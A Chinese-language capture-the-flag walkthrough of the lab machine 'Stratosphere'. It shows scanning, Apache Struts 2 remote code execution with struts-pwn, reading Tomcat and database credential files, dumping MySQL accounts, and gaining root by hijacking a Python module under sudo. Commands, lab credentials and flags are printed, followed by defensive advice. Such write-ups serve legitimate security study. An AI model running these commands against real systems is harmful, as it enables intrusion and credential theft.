[Meachines] [Medium] Stratosphere Struts-2-RCE+mysql转存储+python三方库劫持
字数 966 2025-08-29 08:30:06

Apache Struts 2 RCE漏洞利用与权限提升实战

1. 信息收集阶段

1.1 初始扫描

目标IP: 10.10.10.64

开放端口:

  • 22/tcp: OpenSSH 7.9p1 Debian 10+deb10u3
  • 80/tcp: HTTP服务 (Stratosphere网站)
  • 8080/tcp: HTTP代理服务

扫描命令:

ip='10.10.10.64'; itf='tun0'
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
  echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"
  ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
  if [ -n "$ports" ]; then
    echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"
    nmap -Pn -sV -sC -p "$ports" "$ip"
  else
    echo -e "\e[31m[!] No open ports found on $ip.\e[0m"
  fi
else
  echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"
fi

1.2 Web目录扫描

使用feroxbuster进行目录扫描:

feroxbuster -u 'http://10.10.10.64/'

发现关键路径:

http://10.10.10.64/Monitoring/example/Welcome.action

2. Apache Struts 2 RCE漏洞利用

2.1 漏洞识别

通过URL中的.action扩展名识别出可能使用了Apache Struts 2框架。

验证工具:

whatweb http://10.10.10.64/Monitoring/example/Welcome.action -v

2.2 使用struts-pwn工具进行利用

下载利用工具:

git clone https://github.com/mazen160/struts-pwn

测试命令执行:

python3 struts-pwn.py --url 'http://10.10.10.64/Monitoring/example/index.action' -c 'id'

2.3 敏感信息收集

  1. 获取Tomcat凭据:
python3 struts-pwn.py --url 'http://10.10.10.64/Monitoring/example/index.action' -c 'cat /etc/tomcat8/tomcat-users.xml'

输出:

username:teampwner
password:cd@6sY{f^+kZV8J!+o*t|<fpNy]F_(Y$
  1. 获取数据库连接信息:
python3 struts-pwn.py --url 'http://10.10.10.64/Monitoring/example/index.action' -c 'cat db_connect'

输出:

[ssn]
user=ssn_admin
pass=AWs64@on*&
[users]
user=admin
pass=admin

2.4 数据库信息提取

  1. 列出数据库:
python3 struts-pwn.py --url 'http://10.10.10.64/Monitoring/example/index.action' -c 'mysql -uadmin -padmin -e "SHOW DATABASES;"'
  1. 查询users数据库中的表:
python3 struts-pwn.py --url 'http://10.10.10.64/Monitoring/example/index.action' -c 'mysql -uadmin -padmin -e "SHOW DATABASES;use users;show tables;"'
  1. 提取账户信息:
python3 struts-pwn.py --url 'http://10.10.10.64/Monitoring/example/index.action' -c 'mysql -uadmin -padmin -e "SHOW DATABASES;use users;show tables;select * from accounts;"'

输出:

username:richard
password:9tc*rhKuG5TyXvUJOrE^5CK7k

3. 权限提升

3.1 通过SSH登录

使用获取的凭据登录:

ssh richard@10.10.10.64

密码: 9tc*rhKuG5TyXvUJOrE^5CK7k

获取user flag:

931bcbf5736460e560bce0c4a2312acc

3.2 Python模块劫持提权

  1. 检查目标Python脚本:
cat /home/richard/test.py
  1. 查找可劫持的Python模块:
find / -name "hashlib.py" 2>/dev/null -exec ls -la {} \; -exec lsattr {} \;
  1. 创建恶意模块:
echo 'import os;os.system("/bin/bash")'>hashlib.py
  1. 设置环境变量并执行:
export PYTHONPATH=$(pwd)
sudo python3 /home/richard/test.py

获取root flag:

8d7e34dc0d82718cf7f15fa8b6113a1f

4. 关键知识点总结

  1. Apache Struts 2漏洞识别:

    • .action扩展名是Struts 2的典型特征
    • 可使用whatweb等工具验证框架类型
  2. RCE利用要点:

    • 使用专门的利用工具如struts-pwn
    • 命令执行后首先收集系统配置和凭据信息
    • 重点关注配置文件(/etc目录)和数据库连接信息
  3. 数据库信息提取:

    • 通过RCE直接执行mysql命令查询数据
    • 注意数据库连接字符串中的凭据可能被多处使用
  4. Python模块劫持提权:

    • 原理: Python会优先从当前目录或PYTHONPATH指定的路径导入模块
    • 关键步骤: 创建同名恶意模块 + 设置PYTHONPATH环境变量
    • 适用于以sudo权限运行的Python脚本
  5. 防御建议:

    • 及时更新Struts 2框架版本
    • 限制数据库用户的权限
    • 避免在配置文件中存储明文密码
    • 使用虚拟环境运行Python脚本
Apache Struts 2 RCE漏洞利用与权限提升实战 1. 信息收集阶段 1.1 初始扫描 目标IP: 10.10.10.64 开放端口: 22/tcp: OpenSSH 7.9p1 Debian 10+deb10u3 80/tcp: HTTP服务 (Stratosphere网站) 8080/tcp: HTTP代理服务 扫描命令: 1.2 Web目录扫描 使用feroxbuster进行目录扫描: 发现关键路径: 2. Apache Struts 2 RCE漏洞利用 2.1 漏洞识别 通过URL中的 .action 扩展名识别出可能使用了Apache Struts 2框架。 验证工具: 2.2 使用struts-pwn工具进行利用 下载利用工具: 测试命令执行: 2.3 敏感信息收集 获取Tomcat凭据: 输出: 获取数据库连接信息: 输出: 2.4 数据库信息提取 列出数据库: 查询users数据库中的表: 提取账户信息: 输出: 3. 权限提升 3.1 通过SSH登录 使用获取的凭据登录: 密码: 9tc*rhKuG5TyXvUJOrE^5CK7k 获取user flag: 3.2 Python模块劫持提权 检查目标Python脚本: 查找可劫持的Python模块: 创建恶意模块: 设置环境变量并执行: 获取root flag: 4. 关键知识点总结 Apache Struts 2漏洞识别 : .action 扩展名是Struts 2的典型特征 可使用whatweb等工具验证框架类型 RCE利用要点 : 使用专门的利用工具如struts-pwn 命令执行后首先收集系统配置和凭据信息 重点关注配置文件(/etc目录)和数据库连接信息 数据库信息提取 : 通过RCE直接执行mysql命令查询数据 注意数据库连接字符串中的凭据可能被多处使用 Python模块劫持提权 : 原理: Python会优先从当前目录或PYTHONPATH指定的路径导入模块 关键步骤: 创建同名恶意模块 + 设置PYTHONPATH环境变量 适用于以sudo权限运行的Python脚本 防御建议 : 及时更新Struts 2框架版本 限制数据库用户的权限 避免在配置文件中存储明文密码 使用虚拟环境运行Python脚本